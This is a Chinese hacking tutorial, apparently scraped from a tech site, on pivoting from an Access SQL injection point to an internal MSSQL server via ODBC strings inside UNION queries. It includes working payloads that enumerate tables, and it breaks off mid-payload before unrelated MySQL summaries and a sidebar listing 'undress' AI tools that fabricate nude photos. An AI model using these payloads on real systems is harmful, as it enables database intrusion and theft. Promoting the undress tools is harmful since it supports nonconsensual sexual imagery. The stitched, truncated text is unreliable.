首先说明一点,这个方法很早就有了,不过用时大概在脑袋里沉寂太久,已经处于忘却状态。感谢Trace提供资料。 经常会遇到任意文件下载漏洞,一般处理的方法是把 数据库 连接文件下载回来,然后远程连接上去。最理想的状态莫过于MSSQL和MYSQL,尤其是在 数据库
首先说明一点,这个方法很早就有了,不过用时大概在脑袋里沉寂太久,已经处于忘却状态。感谢Trace提供资料。
经常会遇到任意文件下载漏洞,一般处理的方法是把数据库连接文件下载回来,然后远程连接上去。最理想的状态莫过于MSSQL和MYSQL,尤其是在数据库 和WEB不分离的情况下,备分SHELL,导出SHELL,可以用的方法很多。不过要是数据库和WEB分离,而且数据库在内网不可上网,或者有防火墙等等 其他手段使得我们无法连上远程数据库时,不妨假设的再艰难一些,甚至无法找到一个mssql注射点时,很多情况下通常会束手无策。
这里以 MSSQL为例子,很凑巧找到一个任意文件下载漏洞,直接下了WEB.CONFIG回来看,发现数据库在内网,找了半天没找到注射点,稍微旁注一下,有一 个站,可惜是ACCESS数据库。猜不到表和后台。不过目标站的后台是知道的,然后准备从这个access注射点读出目标站管理员帐户。直观一些,下面直 接给出我本地测试结果:
如图
弄的简单一点,就3个字段,ID,XM,XB,ID数字型,后面2个字符型。
假设存在漏洞的文件中,执行SQL语句 select * from test whrere id = 1
这里有3个字段,我们用UNION联合查询给他匹配一下就是(黑盒操作时用order by 或者穷举来确定字段个数)
SELECT * FROM test where id=999999 union Select top 1 1,2,name from [ODBC;Driver=SQL Server;UID=dbo;PWD=dba;Server=*****;DataBase=master].ku
这里的master库中我建立了一个名为KU的表,上面这个查询语句中,由于id=999999不存在,在联合查询的作用下,web上原本显示access数据库内容的位置显示出了我们构造的UNION查询结果,name字段处于一个字符型的显示位置
如图
ku这个表里的name字段内容就会被显示在web上相应的位置,不过这个显然不是我们想要的,我们要的是整个表的结构和内容
以master为例子,这里是模拟的结果,事先我已经知道master的结构,待会方便和结果比对校验是否有错,如图
SELECT * FROM test where id=999999 union Select top 1 1,2,table_name from [ODBC;Driver=SQL Server;UID=dbo;PWD=dba;Server=*****;DataBase=master].information_schema.tables
这样master库的第一个表名就出来了
如图
获得后面的表名也很简单
SELECT * FROM test where id=999999 union Select top 1 1,2,table_name from [ODBC;Driver=SQL Server;UID=dbo;PWD=dba;Server=*****;DataBase=master].information_schema.tables where table_name not in (select top 1 table_name from [ODBC;Driver=SQL Server;UID=dbo;PWD=dba;Server=****;DataBase=master].information_schema.tables)
如图
以次类以常规方法推取得字段名和字段内容,代码烦琐自行研究下。
如果数据库里的ID是字符型,则
SELECT * FROM test where id=’999999’ union Select top 1 1,2,table_name from [ODBC

要優化MySQL慢查詢,需使用slowquerylog和performance_schema:1.啟用slowquerylog並設置閾值,記錄慢查詢;2.利用performance_schema分析查詢執行細節,找出性能瓶頸並優化。

MySQL和SQL是開發者必備技能。 1.MySQL是開源的關係型數據庫管理系統,SQL是用於管理和操作數據庫的標準語言。 2.MySQL通過高效的數據存儲和檢索功能支持多種存儲引擎,SQL通過簡單語句完成複雜數據操作。 3.使用示例包括基本查詢和高級查詢,如按條件過濾和排序。 4.常見錯誤包括語法錯誤和性能問題,可通過檢查SQL語句和使用EXPLAIN命令優化。 5.性能優化技巧包括使用索引、避免全表掃描、優化JOIN操作和提升代碼可讀性。

MySQL異步主從復制通過binlog實現數據同步,提升讀性能和高可用性。 1)主服務器記錄變更到binlog;2)從服務器通過I/O線程讀取binlog;3)從服務器的SQL線程應用binlog同步數據。

MySQL是一個開源的關係型數據庫管理系統。 1)創建數據庫和表:使用CREATEDATABASE和CREATETABLE命令。 2)基本操作:INSERT、UPDATE、DELETE和SELECT。 3)高級操作:JOIN、子查詢和事務處理。 4)調試技巧:檢查語法、數據類型和權限。 5)優化建議:使用索引、避免SELECT*和使用事務。

MySQL的安裝和基本操作包括:1.下載並安裝MySQL,設置根用戶密碼;2.使用SQL命令創建數據庫和表,如CREATEDATABASE和CREATETABLE;3.執行CRUD操作,使用INSERT,SELECT,UPDATE,DELETE命令;4.創建索引和存儲過程以優化性能和實現複雜邏輯。通過這些步驟,你可以從零開始構建和管理MySQL數據庫。

InnoDBBufferPool通過將數據和索引頁加載到內存中來提升MySQL數據庫的性能。 1)數據頁加載到BufferPool中,減少磁盤I/O。 2)臟頁被標記並定期刷新到磁盤。 3)LRU算法管理數據頁淘汰。 4)預讀機制提前加載可能需要的數據頁。

MySQL適合初學者使用,因為它安裝簡單、功能強大且易於管理數據。 1.安裝和配置簡單,適用於多種操作系統。 2.支持基本操作如創建數據庫和表、插入、查詢、更新和刪除數據。 3.提供高級功能如JOIN操作和子查詢。 4.可以通過索引、查詢優化和分錶分區來提升性能。 5.支持備份、恢復和安全措施,確保數據的安全和一致性。

全表掃描在MySQL中可能比使用索引更快,具體情況包括:1)數據量較小時;2)查詢返回大量數據時;3)索引列不具備高選擇性時;4)複雜查詢時。通過分析查詢計劃、優化索引、避免過度索引和定期維護表,可以在實際應用中做出最優選擇。


熱AI工具

Undresser.AI Undress
人工智慧驅動的應用程序,用於創建逼真的裸體照片

AI Clothes Remover
用於從照片中去除衣服的線上人工智慧工具。

Undress AI Tool
免費脫衣圖片

Clothoff.io
AI脫衣器

AI Hentai Generator
免費產生 AI 無盡。

熱門文章

熱工具

SublimeText3 英文版
推薦:為Win版本,支援程式碼提示!

Atom編輯器mac版下載
最受歡迎的的開源編輯器

WebStorm Mac版
好用的JavaScript開發工具

VSCode Windows 64位元 下載
微軟推出的免費、功能強大的一款IDE編輯器

MinGW - Minimalist GNU for Windows
這個專案正在遷移到osdn.net/projects/mingw的過程中,你可以繼續在那裡關注我們。 MinGW:GNU編譯器集合(GCC)的本機Windows移植版本,可自由分發的導入函式庫和用於建置本機Windows應用程式的頭檔;包括對MSVC執行時間的擴展,以支援C99功能。 MinGW的所有軟體都可以在64位元Windows平台上運作。